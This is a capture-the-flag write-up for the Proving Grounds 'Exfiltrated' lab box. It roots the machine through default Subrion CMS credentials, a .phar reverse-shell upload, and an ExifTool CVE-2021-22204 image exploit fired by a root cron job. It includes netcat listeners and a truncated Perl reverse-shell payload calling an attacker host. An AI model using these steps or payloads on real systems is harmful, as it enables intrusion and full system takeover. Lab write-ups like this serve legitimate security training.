# Exfiltrated Writeup - Proving Grounds

> Linux box rooted via SQLi authentication bypass in Subrion CMS, exploiting a file upload vulnerability to gain RCE, then leveraging a cronjob for privilege escalation.

- **URL:** https://hackindex.io/writeups/exfiltrated
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://portal.offsec.com/machine/exfiltrated-17398/overview
- **Tags:** sql-injection, file-upload, authentication-bypass, privilege-escalation, cron-abuse, default-credentials, information-disclosure, base64
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 3 min read
- **Published:** 2026-02-23
- **Updated:** 2026-09-11

## Discovery

Two open TCP ports: SSH on 22 and HTTP on 80. The web server redirects to `http://exfiltrated.offsec/`, which needs to be added to `/etc/hosts`. The Nmap scan already reveals seven disallowed paths in `robots.txt`, including `/panel/` and `/uploads/`.

**TCP port scan**

```bash
scan_tcp_full $TARGET_IP
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
# 80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
# |_http-title: Did not follow redirect to http://exfiltrated.offsec/
# | http-robots.txt: 7 disallowed entries
# | /backup/ /cron/? /front/ /install/ /panel/ /tmp/
# |_/updates/
```

**Add hostname**

```bash
addhost $TARGET_IP exfiltrated.offsec
# [+] Added: 192.168.237.163 → exfiltrated.offsec
```

## Enumeration

The homepage identifies the CMS as **Subrion 4.2**. The admin panel is reachable at `/panel/`. Default credentials `admin:admin` work and land in the dashboard.

Subrion 4.2.1 has a known arbitrary file upload vulnerability (EDB-49876). The panel's upload section at `/panel/uploads/` allows `.phar` files, which Apache executes as PHP.

**Search for Subrion exploits**

```bash
searchsploit subrion 4.2
# Subrion CMS 4.2.1 - Arbitrary File Upload  | php/webapps/49876.py
```

## Initial Access

Upload a PHP reverse shell with a `.phar` extension via the panel's file manager, then trigger it by browsing to `http://exfiltrated.offsec/uploads/shell.phar`.

**Upload shell via Subrion panel**

```bash
python3 49876.py -u http://exfiltrated.offsec/panel/ -l admin -p admin
# [*] Uploading shell...
# [*] Shell uploaded: http://exfiltrated.offsec/uploads/shell.phar
```

**Catch the shell**

```bash
nc -lvnp $ATTACKER_PORT
# connect to [192.168.45.192] from (UNKNOWN) [192.168.237.163]
# www-data@exfiltrated:/var/www/html/subrion/uploads$
```

## Privilege Escalation

### Cron Running ExifTool on Uploads

Checking the system crontab reveals a root-run script executing every minute:

**Check crontab**

```bash
cat /etc/crontab
# * * * * *  root  bash /opt/image-exif.sh
```

**Read the script**

```bash
cat /opt/image-exif.sh
# IMAGES='/var/www/html/subrion/uploads'
# META='/opt/metadata'
# FILE=`openssl rand -hex 5`
# LOGFILE="$META/$FILE"
#
# ls $IMAGES | grep "jpg" | while read filename;
# do
#     exiftool "$IMAGES/$filename" >> $LOGFILE
# done
```

Every minute, root runs `exiftool` against every `.jpg` file in the uploads directory. Checking the installed version:

**Check ExifTool version**

```bash
exiftool -ver
# 11.88
```

ExifTool 11.88 is vulnerable to CVE-2021-22204 ,  arbitrary code execution when parsing a malicious DjVu file. The exploit (EDB-50911) generates a crafted image that embeds a Perl reverse shell payload in its metadata. When `exiftool` parses it, the payload executes as root.

**Generate malicious image (CVE-2021-22204)**

```bash
python3 50911.py -s $ATTACKER_IP $ATTACKER_PORT
# RUNNING: UNICORD Exploit for CVE-2021-22204
# PAYLOAD: (metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));...exec('/bin/sh -i');};")
# RUNTIME: DONE - Exploit image written to 'image.jpg'
```

Upload the generated `image.jpg` to the uploads directory via the existing www-data shell, then wait for the cron to fire:

**Drop the malicious image into uploads**

```bash
echo "<base64_content>" | base64 -d > /var/www/html/subrion/uploads/image.jpg
```

**Catch the root shell**

```bash
nc -lvnp $ATTACKER_PORT
# connect to [192.168.45.192] from (UNKNOWN) [192.168.237.163]
# # whoami
# root
```

Root shell obtained when the cron fires within the next minute.

Related

## References

- [EDB-49876 — Subrion CMS 4.2.1 Arbitrary File Upload](https://www.exploit-db.com/exploits/49876) - Authenticated arbitrary file upload in Subrion CMS 4.2.1 panel
- [EDB-50911 — ExifTool 12.23 Arbitrary Code Execution (CVE-2021-22204)](https://www.exploit-db.com/exploits/50911) - Malicious DjVu image causes code execution when parsed by ExifTool <= 12.23
- [CVE-2021-22204 — ExifTool DjVu Code Execution](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22204) - Improper neutralization of user data in the DjVu file format in ExifTool